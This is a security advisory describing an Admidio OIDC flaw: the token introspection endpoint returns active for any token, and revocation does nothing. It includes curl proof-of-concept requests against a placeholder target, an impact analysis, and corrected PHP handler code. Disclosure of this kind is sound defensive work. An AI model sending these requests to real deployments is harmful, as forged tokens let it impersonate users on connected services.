Admidio: OIDC Token Introspection Endpoint Returns Active for All Tokens Without Validation

The revocation bypass compounds this: If a legitimate token is stolen, the resource server or client application cannot revoke it. Calling /oidc/revoke returns success without actually revoking the token in the database, so the stolen token remains usable indefinitely (until its expiry time).

PoC

# Step 1: Confirm the introspection endpoint exists and always returns active
# No valid token needed - any string works
curl -X POST https://TARGET/modules/sso/index.php/oidc/introspect \
  -d "token=COMPLETELY_FABRICATED_TOKEN_12345"

# Expected response: {"active":true}

# Step 2: Try with an empty token
curl -X POST https://TARGET/modules/sso/index.php/oidc/introspect \
  -d "token="

# Expected response: {"active":true}

# Step 3: Demonstrate that revocation is also broken
curl -X POST https://TARGET/modules/sso/index.php/oidc/revoke \
  -d "token=any_valid_token_here"

# Expected response: {"revoked":true}
# But the token is NOT actually revoked in the database

# Step 4: Verify the token is still active after "revocation"
curl -X POST https://TARGET/modules/sso/index.php/oidc/introspect \
  -d "token=any_valid_token_here"

# Still returns: {"active":true}

Impact

• Authentication Bypass on Resource Servers: Any application (wiki, CMS, project management tool, etc.) configured to validate tokens against this Admidio OIDC introspection endpoint will accept completely fabricated tokens. An attacker can impersonate any user on all connected resource servers.
• Inability to Revoke Compromised Tokens: If a legitimate access token is leaked or stolen, there is no way to revoke it through the standard OIDC revocation flow. The token remains valid until its 1-hour expiry.
• Scope Change (S:C): The vulnerability in the Admidio authorization server directly impacts the security of all connected resource servers (different security authority), which is why the CVSS scope is Changed.

Recommended Fix

Replace the stub implementations with proper token introspection and revocation logic:

public function handleIntrospectionRequest() {
    if (!$this->isServiceSetup) {
        $this->setupService();
    }
    
    $request = $this->getRequest();
    
    // 1. Authenticate the resource server (RFC 7662 Section 2.1)
    // The resource server MUST authenticate using client credentials
    $clientId = $request->getParsedBody()['client_id'] ?? null;
    $clientSecret = $request->getParsedBody()['client_secret'] ?? null;
    
    if (!$clientId || !$this->clientRepository->validateClient($clientId, $clientSecret, null)) {
        return new JsonResponse(['error' => 'invalid_client'], 401);
    }
    
    // 2. Get and validate the token
    $tokenValue = $request->getParsedBody()['token'] ?? '';
    if (empty($tokenValue)) {
        return new JsonResponse(['active' => false]);
    }
    
    try {
        // Validate the token using the resource server
        $validatedRequest = $this->resourceServer->validateAuthenticatedRequest(
            $request->withHeader('Authorization', 'Bearer ' . $tokenValue)
        );
        
        $tokenId = $validatedRequest->getAttribute('oauth_access_token_id');
        
        // Check if token is revoked
        if ($this->accessTokenRepository->isAccessTokenRevoked($tokenId)) {
            return new JsonResponse(['active' => false]);
        }
        
        $token = $this->accessTokenRepository->getToken($tokenId);
        
        // Check expiry
        if ($token->getExpiryDateTime() < new \DateTimeImmutable()) {
            return new JsonResponse(['active' => false]);
        }
        
        return new JsonResponse([
            'active' => true,
            'sub' => $token->getUserIdentifier(),
            'client_id' => $token->getClient()->getIdentifier(),
            'exp' => $token->getExpiryDateTime()->getTimestamp(),
            'scope' => implode(' ', array_map(fn($s) => $s->getIdentifier(), $token->getScopes())),
        ]);
    } catch (\Exception $e) {
        return new JsonResponse(['active' => false]);
    }
}

public function handleRevocationRequest() {
    if (!$this->isServiceSetup) {
        $this->setupService();
    }
    
    $request = $this->getRequest();
    
    // Authenticate the client
    $clientId = $request->getParsedBody()['client_id'] ?? null;
    $clientSecret = $request->getParsedBody()['client_secret'] ?? null;
    
    if (!$clientId || !$this->clientRepository->validateClient($clientId, $clientSecret, null)) {
        return new JsonResponse(['error' => 'invalid_client'], 401);
    }
    
    $tokenValue = $request->getParsedBody()['token'] ?? '';
    if (!empty($tokenValue)) {
        try {
            $validatedRequest = $this->resourceServer->validateAuthenticatedRequest(
                $request->withHeader('Authorization', 'Bearer ' . $tokenValue)
            );
            $tokenId = $validatedRequest->getAttribute('oauth_access_token_id');
            $this->accessTokenRepository->revokeAccessToken($tokenId);
        } catch (\Exception $e) {
            // RFC 7009: The server responds with HTTP 200 even for invalid tokens
        }
    }
    
    return new JsonResponse([], 200);
}